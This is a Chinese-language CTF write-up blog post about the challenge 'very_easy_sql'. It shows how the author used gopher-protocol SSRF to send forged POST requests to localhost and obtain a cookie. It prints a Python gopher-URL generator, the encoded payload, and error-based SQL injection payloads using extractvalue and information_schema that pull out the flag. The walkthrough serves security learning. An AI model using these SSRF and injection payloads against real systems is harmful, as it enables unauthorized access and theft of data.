Mobile wallpaper 1Mobile wallpaper 2Mobile wallpaper 3Mobile wallpaper 4Mobile wallpaper 5Mobile wallpaper 6
1007 字
5 分钟
关于用gopher协议进行SSRF
2025-12-26
统计加载中...

[+]前置小知识

·gopher协议

在本题的 SSRF 实现中,HTTP 方式仅能指定访问 URL,请求细节由后端客户端库决定;而 gopher 可直接发送构造好的请求报文,还可以返回响应的所有部分。利用这一特性,gopher协议通常用来偷取Cookie,也可以在SSRF时伪造请求头。

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[+]寻找漏洞利用点

这题靶机一打开是这样的,直接sql注入啥也注不出来,还说到我不是 inner user ,说明我们的目的是让目标服务器认为我们是内部人员,然后才可以进行sql注入等行为。Ctrl+U查看源码,发现use.php,进入该页面发现可以输入url,那么就可以大胆猜测是SSRF题型。

?url=http://127.0.0.1/ #回显nonono
?url=127.0.0.1 #可行,但是没什么用,我访问了自己的vps也只能读取或者下载文件

到这里我就没思路了。翻阅了一下别人的wp,发现可以用gopher协议发包获取响应。

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[+]SSRF

为什么这里用gopher协议呢?因为如果用http协议进行SSRF的话,其返回的只有响应的body部分,看不见请求头部分。而gopher协议可以返回原始响应,也就是响应的所有部分。

但是,其实也不是说http就是无法返回请求头。因为大部分CTF服务器都是php编写的,而且内部代码这么写的:

echo file_get_contents($url); //http协议时只获取响应体部分

所以http协议返回的几乎都是响应体部分,不包含请求头。而gopher协议发送过去是原始字节流, 返回回来的也是原始字节流,故可以看到请求头部分,从而获取Cookie。

这里附上gopher协议url生成脚本:

import urllib.parse
host = "127.0.0.1:80" #大部分服务器默认端口都是80或443,但这里只有80可以
content = "uname=admin&passwd=admin"
content_length = len(content)
# 构造完整的POST请求报文
test =\
"""POST /index.php HTTP/1.1
Host: {}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
{}
# """.format(host,content_length,content)
# 在ssrf传参后解析参数值时第一层url解码
tmp = urllib.parse.quote(test)
# 将编码后的换行符%0A(\n)替换为HTTP标准的回车换行%0D%0A(\r\n),避免协议解析错误
new = tmp.replace("%0A","%0D%0A")
# 进行第二次URL编码,确保gopher协议能正确解析
result = urllib.parse.quote(new)
# 拼接为gopher协议URL(格式:gopher://主机/_编码后的请求内容),用于SSRF等场景
print("gopher://"+host+"/_"+result)

最终SSRF的payload如下:

gopher://127.0.0.1:80/_POST%2520/index.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AUser-Agent%253AMozilla/5.0%2520%2528Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64%253B%2520rv%253A146.0%2529%2520Gecko/20100101%2520Firefox/146.0%250D%250AAccept%253A%252A/%252A%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252024%250D%250A%250D%250Auname%253Dadmin%2526passwd%253Dadmin%250D%250A%2523%2520

观察页面回显,发现有个Set-Cookie: this_is_your_cookie=YWRtaW4%3D ,解码后为admin。

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

[+]SQL注入

现在有三个疑似sql注入接口,uname,passwd,this_is_your_cookie。而this_is_your_cookie的值是先base64编码,再url编码。经过我的一番尝试,发现sql注入接口在this_is_your_cookie。

点一下,这里发送请求依然使用gopher,因为在使用http协议进行SSRF时无法将Cookie带上。

然后测试闭合字符是什么。最终是注入’) or sleep(5) — ,页面会响应一段时间。接着我尝试联合注入,不回显。那么现在我能想到的有两条路,一个是盲注,一个是报错注入。盲注的话,这里比较麻烦,要知道flag在(哪个数据库,)哪个表,哪个列。所以我打算报错注入。以下是payload:(放入cookie时需将payload先base64编码再url编码)

') and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) --
-->回显 XPATH syntax error: '~emails,flag,referers,uagents,us',直接发现flag表名
') and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),0x7e)) --
-->回显 XPATH syntax error: '~flag~',发现flag列名
') and extractvalue(1,concat(0x7e,(select flag from flag),0x7e)) --
-->回显 XPATH syntax error: '~cyberpeace{ee1333dd57ea4586347f',只找到一部分flag
-->这里只返回一部分是因为mysqld的报错回显长度有限
') and extractvalue(1,concat(0x7e,right((select flag from flag),32),0x7e)) --
-->回显 XPATH syntax error: '~e1333dd57ea4586347f0a32fb81462b',找到另一部分flag

最后将两部分flag拼接获得最终flag:cyberpeace{ee1333dd57ea4586347f0a32fb81462b}


关于用gopher协议进行SSRF
https://fsteinsgate.cn/posts/very_easy_sql/
作者
F0r7yn
发布于
2025-12-26
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时